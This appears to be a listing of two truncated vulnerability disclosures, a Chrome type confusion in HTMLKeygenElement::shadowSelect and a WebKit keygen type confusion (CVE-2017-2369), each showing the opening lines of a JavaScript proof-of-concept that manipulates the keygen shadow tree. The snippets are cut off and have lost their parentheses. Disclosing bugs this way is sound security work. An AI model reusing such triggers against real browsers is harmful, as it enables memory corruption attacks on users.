Google Chrome HTMLKeygenElement::shadowSelect() Type Confusion

Google Chrome: Type confusion in HTMLKeygenElement::shadowSelect Chrome bug: https://bugs.chromium.org/p/chromium/issues/detail?id=666246 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo";...

Apple WebKit HTMLKeygenElement Type Confusion

Apple WebKit: Type confusion in HTMLKeygenElement CVE-2017-2369 PoC: var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true; What happens here: 1. caretRangeFromPoint allows accessing...